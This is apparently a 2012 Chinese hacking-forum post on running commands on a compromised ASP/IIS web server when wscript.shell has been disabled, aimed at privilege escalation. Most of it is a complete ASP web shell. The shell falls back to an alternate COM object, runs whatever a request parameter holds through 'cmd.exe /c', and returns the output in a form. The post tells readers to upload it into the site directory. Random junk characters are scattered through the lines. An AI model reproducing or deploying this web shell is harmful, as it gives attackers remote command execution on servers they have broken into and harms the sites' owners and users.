找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2033|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。! b5 J0 h1 {5 j
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。& m+ @8 ?- B  h. ^( M- |4 |# e7 [
要想让运行命令可以试试这种方法,成功率为五五之数。$ k3 h! W7 |4 o- X" d
把下面代码复制:
5 w  H8 |+ T( f<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
9 l8 b, @: \6 a<%if err then%>% o( V0 W: E5 Q& S
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
% j" p1 o3 B/ {: E<%4 x! i3 |  ^3 \4 G: x6 p
end if
0 x0 H' y+ y( [) _% gresponse.write("<textarea readonly cols=80 rows=20>")
. |  F6 S5 y: UOn Error Resume Next
6 O; ]  l3 \- iresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall9 v( i, k. d) {9 H$ D" v! x8 c0 d) W
response.write("</textarea>")
3 e4 h# o3 y# D6 M2 Mresponse.write("<form method='post'>")3 V; A# J/ j+ i# t
response.write("<input type=text name='c' size=60><br>")+ `0 s. i* {  K* f" ]
response.write("<input type=submit value='执行'></form>")
: D" s# y1 G/ D( E%>
0 B; A3 L" K' i& l1 Y6 w6 _
- n/ X) ^% r! ?) ]保存为一个asp文件,然后传到网站目录上去1 t$ Q1 A* p0 @/ L! N" }
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。: J( Z$ l7 C. b4 y6 R& Z4 t; ^8 u/ F
我用此成功运行过cacls命令。
" X: p: w; _3 b: C, U1 _
# |7 ^' m9 S1 w4 H2 @- |1 V+ I0 ~第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表